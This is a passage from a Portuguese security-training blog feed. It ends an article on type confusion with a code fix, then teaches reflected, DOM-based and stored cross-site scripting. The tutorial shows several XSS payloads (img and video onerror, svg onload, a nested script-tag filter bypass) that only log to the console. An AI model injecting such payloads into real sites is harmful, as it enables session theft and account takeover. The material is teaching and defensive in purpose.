srcset="https://blog.hackingclub.com/content/images/size/w600/2024/08/mitigation-edge.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/08/mitigation-edge.png 1000w, https://blog.hackingclub.com/content/images/2024/08/mitigation-edge.png 1192w" sizes="(min-width: 720px) 720px"></figure><p>A mitiga&#xE7;&#xE3;o foi implementada com a seguinte altera&#xE7;&#xE3;o no c&#xF3;digo:</p><pre><code class="language-javascript">export function escape(input: any): string {
    return input instanceof SafeValue ? input.value : string.escapeHTML(String(input));
}
</code></pre><p>Nesta vers&#xE3;o corrigida, a fun&#xE7;&#xE3;o escape foi ajustada para sempre converter input para uma string antes de aplicar <code>escapeHTML</code>. A verifica&#xE7;&#xE3;o <code>instanceof SafeValue</code> assegura que, se input for uma inst&#xE2;ncia de <code>SafeValue</code>, seu valor ser&#xE1; utilizado diretamente. Caso contr&#xE1;rio, qualquer entrada &#xE9; convertida para string e sanitizada. Isso garante que a fun&#xE7;&#xE3;o lida corretamente com entradas de tipos variados e evita a vulnerabilidade de <strong>Type Confusion</strong>.</p><p>Em resumo, a explora&#xE7;&#xE3;o de vulnerabilidades como <strong>Type Confusion</strong> ressalta a import&#xE2;ncia crucial de <strong>validar</strong> e <strong>sanitizar</strong> dados em qualquer aplica&#xE7;&#xE3;o. Garantir que o c&#xF3;digo seja robusto e seguro exige uma combina&#xE7;&#xE3;o de boas pr&#xE1;ticas, como <strong>verifica&#xE7;&#xE3;o de tipos</strong>, uso de linguagens com tipagem est&#xE1;tica e implementa&#xE7;&#xE3;o de bibliotecas de valida&#xE7;&#xE3;o confi&#xE1;veis.</p><p>Os exemplos discutidos ao longo deste artigo demonstram como falhas simples podem levar a brechas significativas, e como abordagens de mitiga&#xE7;&#xE3;o eficazes podem fortalecer a seguran&#xE7;a do sistema. Como citado no in&#xED;cio do artigo, o impacto dessa vulnerabilidade pode variar dependendo do contexto da aplica&#xE7;&#xE3;o.</p><p><strong>E &#xE9; importante lembrar</strong>: <em>a seguran&#xE7;a n&#xE3;o &#xE9; apenas uma etapa no desenvolvimento, mas um processo cont&#xED;nuo que deve ser integrado a todas as fases do ciclo de vida do software.</em></p><h3 id="onde-praticar-type-confusion">Onde Praticar Type Confusion?</h3><p>Atualmente, o <a href="https://app.hackingclub.com/?ref=blog.hackingclub.com" rel="noreferrer"><strong>Hacking Club</strong></a> oferece diversos CTFs que exploram a vulnerabilidade de <strong>Type Confusion</strong> em v&#xE1;rios contextos diferentes. A plataforma &#xE9; ideal para quem deseja aprender hacking de forma pr&#xE1;tica e aprofundada.</p><p>Temos mais de 200 ambientes com vulnerabilidades reais e write-ups detalhados para treinamento. Al&#xE9;m disso, disponibilizamos laborat&#xF3;rios espec&#xED;ficos e v&#xE1;rias aulas adicionais sobre <strong>Type Confusion</strong> para um aprendizado mais completo.</p><p>Semanalmente, lan&#xE7;amos <a href="https://app.hackingclub.com/?ref=blog.hackingclub.com" rel="noreferrer"><strong>m&#xE1;quinas gratuitas</strong></a> para voc&#xEA; praticar e desafiar suas habilidades em hacking!</p><h3 id="refer%C3%AAncias">Refer&#xEA;ncias:</h3><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://snyk.io/pt-BR/blog/remediate-javascript-type-confusion-bypassed-input-validation/?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">JavaScript type confusion: Bypassed input validation (and how to remediate) | Snyk</div><div class="kg-bookmark-description">Learn about type confusions scenarios where input sanitisation and validation can be bypassed by providing an unexpected input type, with remediation advice.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://snyk.io/favicon.ico" alt="Type Confusion em Aplica&#xE7;&#xF5;es Web e seus Impactos em Seguran&#xE7;a"><span class="kg-bookmark-author">Snyk</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://res.cloudinary.com/snyk/image/upload/t_Social%20Sharing%20Image/f_auto/q_auto/v1630407317/wordpress-sync/blog-feature-snyk-open-source-blue.png" alt="Type Confusion em Aplica&#xE7;&#xF5;es Web e seus Impactos em Seguran&#xE7;a"></div></a></figure><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">JavaScript Guide - JavaScript | MDN</div><div class="kg-bookmark-description">The JavaScript Guide shows you how to use JavaScript and gives an overview of the language. If you need exhaustive information about a language feature, have a look at the JavaScript reference.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://developer.mozilla.org/favicon-48x48.cbbd161b.png" alt="Type Confusion em Aplica&#xE7;&#xF5;es Web e seus Impactos em Seguran&#xE7;a"><span class="kg-bookmark-author">MDN Web Docs</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://developer.mozilla.org/mdn-social-share.cd6c4a5a.png" alt="Type Confusion em Aplica&#xE7;&#xF5;es Web e seus Impactos em Seguran&#xE7;a"></div></a></figure><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://www.mongodb.com/docs/manual/reference/operator/?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Operators</div><div class="kg-bookmark-description">Contains links to MongoDB query and aggregation operators.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://www.mongodb.com/docs/assets/favicon.ico" alt="Type Confusion em Aplica&#xE7;&#xF5;es Web e seus Impactos em Seguran&#xE7;a"><span class="kg-bookmark-author">MongoDB Manual v7.0</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://www.mongodb.com/docs/assets/meta_generic.png" alt="Type Confusion em Aplica&#xE7;&#xF5;es Web e seus Impactos em Seguran&#xE7;a"></div></a></figure>]]></content:encoded></item><item><title><![CDATA[Cross-Site Scripting (XSS) — Como Explorar e Prevenir essa Vulnerabilidade Web]]></title><description><![CDATA[<p><strong>Cross-Site Scripting (XSS)</strong> &#xE9; uma das vulnerabilidades mais exploradas em <strong>Web Hacking</strong>, <strong>testes de intrus&#xE3;o</strong> e desafios de <strong>CTF (Capture The Flag)</strong> voltados para <strong>Cyber Security</strong>. </p><p>Presente em aplica&#xE7;&#xF5;es modernas de diferentes portes, o XSS pode variar de impactos simples, como defacement de p&#xE1;</p>]]></description><link>https://blog.hackingclub.com/cross-site-scripting-xss/</link><guid isPermaLink="false">6668c9cad236230001a574d2</guid><category><![CDATA[xss]]></category><category><![CDATA[Cross site scripting]]></category><category><![CDATA[xss reflected]]></category><dc:creator><![CDATA[Murilo Caixeta]]></dc:creator><pubDate>Fri, 30 Aug 2024 01:33:28 GMT</pubDate><media:content url="https://blog.hackingclub.com/content/images/2026/03/xss_-HC_BLOG-1.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.hackingclub.com/content/images/2026/03/xss_-HC_BLOG-1.jpg" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web"><p><strong>Cross-Site Scripting (XSS)</strong> &#xE9; uma das vulnerabilidades mais exploradas em <strong>Web Hacking</strong>, <strong>testes de intrus&#xE3;o</strong> e desafios de <strong>CTF (Capture The Flag)</strong> voltados para <strong>Cyber Security</strong>. </p><p>Presente em aplica&#xE7;&#xF5;es modernas de diferentes portes, o XSS pode variar de impactos simples, como defacement de p&#xE1;ginas, at&#xE9; cen&#xE1;rios extremamente cr&#xED;ticos envolvendo roubo de sess&#xE3;o, exfiltra&#xE7;&#xE3;o de dados sens&#xED;veis e at&#xE9; mesmo um <strong>Account Takeover</strong>, tornando-se uma das classes de vulnerabilidades mais relevantes para profissionais de seguran&#xE7;a ofensiva e desenvolvedores.</p><h2 id="o-que-%C3%A9-cross-site-scripting-xss">O que &#xE9; Cross-site Scripting (XSS)?</h2><p>O XSS &#xE9; uma vulnerabilidade que permite que atacantes injetem scripts maliciosos em aplica&#xE7;&#xF5;es web leg&#xED;timas, comprometendo a seguran&#xE7;a de usu&#xE1;rios e sistemas. O fator que leva a aplica&#xE7;&#xE3;o ficar vulner&#xE1;vel a esse tipo de ataque &#xE9;: Falta de sanitiza&#xE7;&#xE3;o dos dados inseridos pelo usu&#xE1;rio.</p><p>Quando a aplica&#xE7;&#xE3;o <strong>n&#xE3;o </strong>faz a devida <strong>sanitiza&#xE7;&#xE3;o dos dados inseridos pelo usu&#xE1;rio</strong> e reflete esses dados de maneira &quot;<strong>insegura</strong>&quot; na p&#xE1;gina, um usu&#xE1;rio pode injetar tanto ta<strong>gs HTML</strong> quanto <strong>c&#xF3;digos JavaScript</strong>, assim sendo poss&#xED;vel <strong>alterar o comportamento da p&#xE1;gina</strong>.</p><h2 id="tipos-conhecidos-de-xss">Tipos conhecidos de XSS</h2><ul><li><strong>XSS Reflected:</strong> Ocorre quando a resposta da requisi&#xE7;&#xE3;o HTTP retorna uma p&#xE1;gina HTML com o input malicioso inserido pelo atacante no conte&#xFA;do dela.</li><li><strong>XSS DOM-Based:</strong> Ocorre quando um c&#xF3;digo JavaScript obt&#xE9;m dados controlados pelo usu&#xE1;rio e os reflete na p&#xE1;gina utilizando uma fun&#xE7;&#xE3;o insegura, como &quot;document.write()&quot;.</li><li><strong>XSS Stored:</strong> Ocorre quando a aplica&#xE7;&#xE3;o est&#xE1; vulner&#xE1;vel a XSS (seja Reflected ou DOM-Based) e armazena o input do usu&#xE1;rio na p&#xE1;gina, tornando poss&#xED;vel armazenar uma payload de XSS em uma p&#xE1;gina leg&#xED;tima.</li><li><strong>XSS Blind:</strong> Ocorre quando a aplica&#xE7;&#xE3;o est&#xE1; vulner&#xE1;vel a XSS Stored e a payload inserida pelo atacante &#xE9; armazenada em uma p&#xE1;gina &#xE0; qual ele n&#xE3;o tem acesso, tornando o ataque do tipo &quot;blind&quot;.</li></ul><h2 id="explorando-xss-na-pr%C3%A1tica">Explorando XSS na pr&#xE1;tica</h2><p>Aqui vamos explorar todos os tipos de XSS mencionados na se&#xE7;&#xE3;o acima, exceto o XSS Blind, pois segue o mesmo conceito do XSS Stored.</p><h3 id="xss-reflected">XSS Reflected</h3><p>Como vimos anteriormente, esse tipo de XSS ocorre quando a aplica&#xE7;&#xE3;o retorna uma p&#xE1;gina HTML com o input malicioso contido no conte&#xFA;do dela.</p><p>Veja um exemplo de um c&#xF3;digo PHP vulner&#xE1;vel a XSS Reflected:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/06/01-4.png" class="kg-image" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web" loading="lazy" width="1325" height="543" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/06/01-4.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/06/01-4.png 1000w, https://blog.hackingclub.com/content/images/2024/06/01-4.png 1325w" sizes="(min-width: 720px) 720px"></figure><p>Vemos que a aplica&#xE7;&#xE3;o recebe o par&#xE2;metro &quot;name&quot; na URL, e o reflete na p&#xE1;gina HTML sem fazer nenhuma sanitiza&#xE7;&#xE3;o. Isso possibilita com que um atacante injete novas tags e scripts na p&#xE1;gina atrav&#xE9;s do par&#xE2;metro.</p><p>Enviando um nome no par&#xE2;metro &quot;name&quot;, vemos que o mesmo &#xE9; refletido:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/06/02.png" class="kg-image" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web" loading="lazy" width="1381" height="413" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/06/02.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/06/02.png 1000w, https://blog.hackingclub.com/content/images/2024/06/02.png 1381w" sizes="(min-width: 720px) 720px"></figure><p>Enviando uma tag HTML, vemos que ela &#xE9; interpretada pelo browser:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/06/03.png" class="kg-image" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web" loading="lazy" width="1395" height="497" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/06/03.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/06/03.png 1000w, https://blog.hackingclub.com/content/images/2024/06/03.png 1395w" sizes="(min-width: 720px) 720px"></figure><p>Al&#xE9;m da possibilidade de injetarmos tags HTML na p&#xE1;gina, conseguimos executar c&#xF3;digos JavaScript:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/06/04.png" class="kg-image" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web" loading="lazy" width="1607" height="755" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/06/04.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/06/04.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2024/06/04.png 1600w, https://blog.hackingclub.com/content/images/2024/06/04.png 1607w" sizes="(min-width: 720px) 720px"></figure><p>Vemos que a explora&#xE7;&#xE3;o da vulnerabilidade &#xE9; extremamente simples. Em alguns casos, os par&#xE2;metros da aplica&#xE7;&#xE3;o s&#xE3;o filtrados, dificultando a explora&#xE7;&#xE3;o. Por&#xE9;m, muitas vezes, ainda &#xE9; poss&#xED;vel executar c&#xF3;digos JavaScript por meio de t&#xE9;cnicas para burlar esses filtros.</p><p>Abaixo, vemos um c&#xF3;digo PHP que filtra o conte&#xFA;do do par&#xE2;metro &quot;name&quot;, assim dificultando (por&#xE9;m n&#xE3;o impossibilitando, pois o mesmo &#xE9; inseguro) a execu&#xE7;&#xE3;o de c&#xF3;digo JavaScript na p&#xE1;gina:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/06/05-1.png" class="kg-image" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web" loading="lazy" width="1389" height="527" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/06/05-1.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/06/05-1.png 1000w, https://blog.hackingclub.com/content/images/2024/06/05-1.png 1389w" sizes="(min-width: 720px) 720px"></figure><p>Se enviarmos um c&#xF3;digo JavaScript no par&#xE2;metro &quot;name&quot;, vemos que a aplica&#xE7;&#xE3;o identifica o ataque:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/06/06.png" class="kg-image" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web" loading="lazy" width="1185" height="399" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/06/06.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/06/06.png 1000w, https://blog.hackingclub.com/content/images/2024/06/06.png 1185w" sizes="(min-width: 720px) 720px"></figure><p>Por&#xE9;m, podemos utilizar outras tags para chegar a execu&#xE7;&#xE3;o de c&#xF3;digo JavaScript. Veja alguns exemplos de payloads abaixo:</p><pre><code>&lt;img src=x onerror=&quot;console.log(&apos;pwned&apos;)&quot;&gt;</code></pre><blockquote>Essa payload consiste em: carregar uma imagem inexistente, e utilizar a propriedade &quot;onerror&quot; para fazer a execu&#xE7;&#xE3;o de um c&#xF3;digo JavaScript </blockquote><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/06/07.png" class="kg-image" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web" loading="lazy" width="1759" height="693" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/06/07.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/06/07.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2024/06/07.png 1600w, https://blog.hackingclub.com/content/images/2024/06/07.png 1759w" sizes="(min-width: 720px) 720px"></figure><pre><code>&lt;svg onload=&quot;console.log(&apos;pwned&apos;)&quot;&gt;</code></pre><blockquote>Essa payload consiste em: utilizar a propriedade &quot;onload&quot; da tag &quot;svg&quot; para fazer a execu&#xE7;&#xE3;o de um c&#xF3;digo JavaScript</blockquote><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/06/10.png" class="kg-image" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web" loading="lazy" width="1683" height="649" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/06/10.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/06/10.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2024/06/10.png 1600w, https://blog.hackingclub.com/content/images/2024/06/10.png 1683w" sizes="(min-width: 720px) 720px"></figure><pre><code>&lt;video src=x onerror=&quot;console.log(&apos;pwned&apos;)&quot;&gt;</code></pre><blockquote>Essa payload consiste em: carregar um v&#xED;deo inexistente, e utilizar a propriedade &quot;onerror&quot; para fazer a execu&#xE7;&#xE3;o de um c&#xF3;digo JavaScript</blockquote><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/06/09.png" class="kg-image" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web" loading="lazy" width="1544" height="740" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/06/09.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/06/09.png 1000w, https://blog.hackingclub.com/content/images/2024/06/09.png 1544w" sizes="(min-width: 720px) 720px"></figure><p>Existem centenas de payloads que podem ser utilizadas para burlar filtros mal implementados. Algumas delas s&#xE3;o encontradas em reposit&#xF3;rios do github, como este:</p><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://github.com/payloadbox/xss-payload-list?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">GitHub - payloadbox/xss-payload-list: &#x1F3AF; Cross Site Scripting ( XSS ) Vulnerability Payload List</div><div class="kg-bookmark-description">&#x1F3AF; Cross Site Scripting ( XSS ) Vulnerability Payload List - payloadbox/xss-payload-list</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.githubassets.com/assets/pinned-octocat-093da3e6fa40.svg" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web"><span class="kg-bookmark-author">GitHub</span><span class="kg-bookmark-publisher">payloadbox</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://opengraph.githubassets.com/a643ab828ffad6f72d4e23c3360be20690c066be096ca8ef8c523fa1a506f948/payloadbox/xss-payload-list" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web"></div></a></figure><p>Em alguns casos, precisamos fazer uma an&#xE1;lise do filtro implementado na aplica&#xE7;&#xE3;o, e criarmos uma payload customizada para fazer o bypass dela.</p><p>Veja o exemplo abaixo:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/06/11-1.png" class="kg-image" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web" loading="lazy" width="1440" height="536" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/06/11-1.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/06/11-1.png 1000w, https://blog.hackingclub.com/content/images/2024/06/11-1.png 1440w" sizes="(min-width: 720px) 720px"></figure><p>O c&#xF3;digo est&#xE1; fazendo replace da string &quot;&lt;script&gt;&quot; por uma string nula, ou seja, est&#xE1; removendo a tag do input do usu&#xE1;rio.</p><p>Vemos que enviando uma payload de XSS comum, a aplica&#xE7;&#xE3;o faz a devida sanitiza&#xE7;&#xE3;o:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/06/12.png" class="kg-image" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web" loading="lazy" width="1377" height="515" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/06/12.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/06/12.png 1000w, https://blog.hackingclub.com/content/images/2024/06/12.png 1377w" sizes="(min-width: 720px) 720px"></figure><p>Por&#xE9;m, o filtro implementado n&#xE3;o &#xE9; seguro, pois podemos confundir a l&#xF3;gica da fun&#xE7;&#xE3;o de replace para burlarmos o filtro.</p><p>Enviando a seguinte payload, conseguimos executar um c&#xF3;digo JavaScript na p&#xE1;gina:</p><pre><code>&lt;scr&lt;script&gt;ipt&gt;console.log(&apos;pwned&apos;)&lt;/script&gt;</code></pre><p>Veja que quando a fun&#xE7;&#xE3;o de replace for executada, ela vai removar a tag &quot;&lt;script&gt;&quot;, e quando isso ocorrer, a string resultante ser&#xE1;: <code>&lt;script&gt;console.log(&apos;pwned&apos;)&lt;/script&gt;</code>.</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/06/13.png" class="kg-image" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web" loading="lazy" width="1471" height="434" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/06/13.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/06/13.png 1000w, https://blog.hackingclub.com/content/images/2024/06/13.png 1471w" sizes="(min-width: 720px) 720px"></figure><p>Agora que conhecemos o b&#xE1;sico, podemos estudar os outros tipos, como DOM-Based, Stored e Blind XSS.</p><h3 id="xss-dom-based">XSS DOM-Based</h3><p>Como dito anteriormente, o XSS DOM-Based ocorre quando um c&#xF3;digo JavaScript da p&#xE1;gina reflete um conte&#xFA;do controlado por um usu&#xE1;rio de maneira insegura, e sem fazer sanitiza&#xE7;&#xE3;o.</p><p>Veja um exemplo de c&#xF3;digo vulner&#xE1;vel abaixo:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/06/01-3.png" class="kg-image" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web" loading="lazy" width="1638" height="823" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/06/01-3.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/06/01-3.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2024/06/01-3.png 1600w, https://blog.hackingclub.com/content/images/2024/06/01-3.png 1638w" sizes="(min-width: 720px) 720px"></figure><p>O c&#xF3;digo obt&#xE9;m o conte&#xFA;do do input &quot;name&quot;, e o reflete na p&#xE1;gina utilizando a fun&#xE7;&#xE3;o &quot;document.write()&quot;. Isso nos possibilita injetar tags e c&#xF3;digos JavaScript.</p><p>Enviando um input comum:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/06/02-1.png" class="kg-image" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web" loading="lazy" width="1299" height="504" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/06/02-1.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/06/02-1.png 1000w, https://blog.hackingclub.com/content/images/2024/06/02-1.png 1299w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/06/03-1.png" class="kg-image" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web" loading="lazy" width="1223" height="351" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/06/03-1.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/06/03-1.png 1000w, https://blog.hackingclub.com/content/images/2024/06/03-1.png 1223w" sizes="(min-width: 720px) 720px"></figure><p>Enviando uma payload de XSS utilizando a tag &quot;&lt;script&gt;&quot;:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/06/04-1.png" class="kg-image" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web" loading="lazy" width="1301" height="439" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/06/04-1.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/06/04-1.png 1000w, https://blog.hackingclub.com/content/images/2024/06/04-1.png 1301w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/06/05-2.png" class="kg-image" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web" loading="lazy" width="1452" height="511" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/06/05-2.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/06/05-2.png 1000w, https://blog.hackingclub.com/content/images/2024/06/05-2.png 1452w" sizes="(min-width: 720px) 720px"></figure><p>Al&#xE9;m da fun&#xE7;&#xE3;o &quot;document.write()&quot;, existem diversas fun&#xE7;&#xF5;es que tamb&#xE9;m s&#xE3;o inseguras para refletir dados inseridos por usu&#xE1;rios. Algumas s&#xE3;o:</p><ul><li>document.write()</li><li>document.writeln()</li><li>document.domain</li><li>element.innerHTML</li><li>element.outerHTML</li><li>element.insertAdjacentHTML</li><li>element.onevent</li></ul><p>Veja um exemplo de c&#xF3;digo vulner&#xE1;vel que utiliza &quot;innerHTML&quot;:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/06/07-1.png" class="kg-image" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web" loading="lazy" width="1897" height="984" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/06/07-1.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/06/07-1.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2024/06/07-1.png 1600w, https://blog.hackingclub.com/content/images/2024/06/07-1.png 1897w" sizes="(min-width: 720px) 720px"></figure><p>Enviando payload de XSS:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/06/06-1.png" class="kg-image" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web" loading="lazy" width="1745" height="753" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/06/06-1.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/06/06-1.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2024/06/06-1.png 1600w, https://blog.hackingclub.com/content/images/2024/06/06-1.png 1745w" sizes="(min-width: 720px) 720px"></figure><p><strong>Observa&#xE7;&#xE3;o:</strong> Em alguns casos de uso, como &quot;innerHTML&quot;, &quot;outerHTML&quot; e outras fun&#xE7;&#xF5;es, a tag &quot;&lt;script&gt;&quot; n&#xE3;o &#xE9; interpretada, por&#xE9;m ainda podemos fazer a utiliza&#xE7;&#xE3;o de outras tags em conjunto com as propriedades &quot;onerror&quot;, &quot;onhover&quot;, entre outras.</p><h3 id="xss-stored">XSS Stored</h3><p>Casos em que o input do usu&#xE1;rio fica armazenado na aplica&#xE7;&#xE3;o, e a mesma reflete-os de maneira insegura e sem fazer a devida sanitiza&#xE7;&#xE3;o, podemos classificar o XSS como Stored. Existem dois tipos de &quot;XSS Stored&quot;:</p><ul><li>XSS Stored - Reflected: Ocorre quando a aplica&#xE7;&#xE3;o est&#xE1; vulner&#xE1;vel a XSS Reflected, por&#xE9;m, faz a persist&#xEA;ncia dos dados.</li><li>XSS Stored - DOM-Based: Ocorre quando a aplica&#xE7;&#xE3;o est&#xE1; vulner&#xE1;vel a XSS DOM-Based, por&#xE9;m, faz a persist&#xEA;ncia dos dados.</li></ul><p>Vemos que a aplica&#xE7;&#xE3;o da imagem abaixo, faz a persist&#xEA;ncia dos coment&#xE1;rios na p&#xE1;gina, o que a torna vulner&#xE1;vel a XSS Stored:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/06/01-5.png" class="kg-image" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web" loading="lazy" width="2000" height="661" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/06/01-5.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/06/01-5.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2024/06/01-5.png 1600w, https://blog.hackingclub.com/content/images/size/w2400/2024/06/01-5.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>Analisando o c&#xF3;digo JavaScript da p&#xE1;gina, vemos que o mesmo utiliza a fun&#xE7;&#xE3;o &quot;innerHTML&quot; para inserir os coment&#xE1;rios na p&#xE1;gina, e al&#xE9;m disso, n&#xE3;o faz nenhuma sanitiza&#xE7;&#xE3;o nos dados:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/06/02-2.png" class="kg-image" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web" loading="lazy" width="2000" height="863" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/06/02-2.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/06/02-2.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2024/06/02-2.png 1600w, https://blog.hackingclub.com/content/images/size/w2400/2024/06/02-2.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>Enviando um coment&#xE1;rio com a payload abaixo, conseguimos executar c&#xF3;digo JavaScript na p&#xE1;gina:</p><pre><code>&lt;img src=x onerror=&quot;console.log(&apos;pwned&apos;)&quot;&gt;</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/06/03-2.png" class="kg-image" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web" loading="lazy" width="2000" height="821" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/06/03-2.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/06/03-2.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2024/06/03-2.png 1600w, 